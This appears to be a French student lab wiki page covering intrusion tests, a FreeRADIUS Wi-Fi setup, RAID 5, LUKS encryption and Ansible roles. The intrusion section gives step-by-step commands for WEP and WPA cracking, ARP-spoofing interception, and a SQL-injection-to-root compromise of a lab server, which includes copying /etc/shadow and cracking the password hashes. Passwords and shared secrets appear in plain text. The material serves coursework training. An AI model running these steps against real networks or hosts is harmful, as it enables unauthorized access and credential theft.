 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT tcp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_tcp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT udp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: udp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_udp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Set the policy for the INPUT chain to DROP&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     policy: DROP&lt;br /&gt;
&lt;br /&gt;
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la &amp;lt;code&amp;gt;POLICY&amp;lt;/code&amp;gt; à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)&lt;br /&gt;
&lt;br /&gt;
Nos ports sont variabilisés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/defaults/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_tcp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8500&lt;br /&gt;
   - 8501&lt;br /&gt;
   - 8502&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 8300 &lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_udp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
&lt;br /&gt;
voilà&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	</feed>